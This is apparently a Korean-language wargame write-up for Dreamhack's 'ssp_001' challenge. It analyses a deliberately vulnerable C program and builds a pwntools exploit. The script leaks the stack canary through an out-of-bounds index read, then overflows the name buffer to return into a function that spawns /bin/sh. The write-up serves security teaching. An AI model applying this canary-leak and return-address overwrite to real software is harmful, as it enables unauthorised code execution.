Wargame : ssp_001
C 코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
main() 함수 분석
간단한 메뉴 출력 프로그램이다.
F 선택 시 ‘box’ 배열에 입력한 값을 저장한다.
P 선택 시 인덱스를 입력 받고 print_box 함수를 호출, 해당 인덱스의 요소 값을 출력한다.
E 선택 시 이름의 길이와 이름을 입력 받은 후 프로그램을 종료한다.
취약점 분석
두 가지의 취약점이 존재한다.
- case P 에서 scanf() 함수에서 입력받는 값의 크기 지정을 하지 않았기 때문에 print_box 함수 호출 시 배열의 범위를 벗어나는 인덱스에 해당하는 값 출력이 가능하다.
따라서 box 배열의 크기를 넘어서는 값을 넣어 카나리 값을 추출할 수 있다.
- case E 에서 name_len를 사용자가 직접 지정할 수 있기 때문에 스택 버퍼 오버플로우를 발생시킬 수 있다.
GDB 디버깅
가장 먼저 쉘 획득을 위환 get_shell 함수의 주소를 info func 으로 알아낸다.
get_shell 함수의 주소는 0x080486b9 이다.

GDB 디버깅을 통해 case F, case P, case E를 각각 확인하면서 스택의 구조를 파악할 수 있다.
예를 들어, case P 에서는 스택에서 idx의 위치를 알 수 있다.

이러한 방식으로 스택의 구조를 확인하면 다음과 같다.

여기서 버퍼 뒤에 canary 값이 저장되기 때문에 name 뒤에 canary 값이 저장된다고 생각할 수 있다.
또한, sfp는 복귀주소 즉, return 바로 위에 위치하기 때문에 스택 상에서 ret 바로 위에 저장된다고 생각할 수 있다.
위의 스택 프레임 구조 상에서 box와 name의 크기를 0x80(128 byte)로 알았으므로 이제 익스플로잇을 위한 pwn 코드를 작성할 수 있다.
취약점 분석을 통해 case P에서 카나리 릭을 이용하고, 익스플로잇은 case E에서 진행하는 과정을 거친다.
Pwn 코드
from pwn import *
p = remote("host3.dreamhack.games", 9778)
context.arch = "i386"
canary = b""
idx = 128
# box와 name의 크기값 128 byte
# case P 에서 카나리 값 알아내기
for i in range(4) :
p.sendlineafter(">", "P")
# case P를 이용하여 > 출력 시, case P로 이동
p.sendlineafter("Element index : ", str(idx + i))
p.recvuntil("is : ")
canary = p.recvuntil("\n")[:2] + canary
# case P 에서 Element index : 출력 시 129, 130, 131, 132의 값을 canary에 저장
# 카나리 값은 box와 name 다음 위치하기 때문
canary = int(canary, 16)
# case E에서 익스플로잇 진행
p.sendlineafter(">", "E")
payload = b"A" * 0x40
payload += p32(canary)
payload += b"A" * 0x8
payload += p32(0x080486b9)
# case E에서는 name이 저장되어 있으므로, name의 크기 0x40을 의미없는 문자열을 먼저 작성
# 그 다음 얻어낸 canary 값 대입
# return 주소까지 나머지 8 byte 의미없는 문자열 작성
# get_shell 주소 대입
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendafter("Name", payload)
p.interactive()
결과는 다음과 같다.
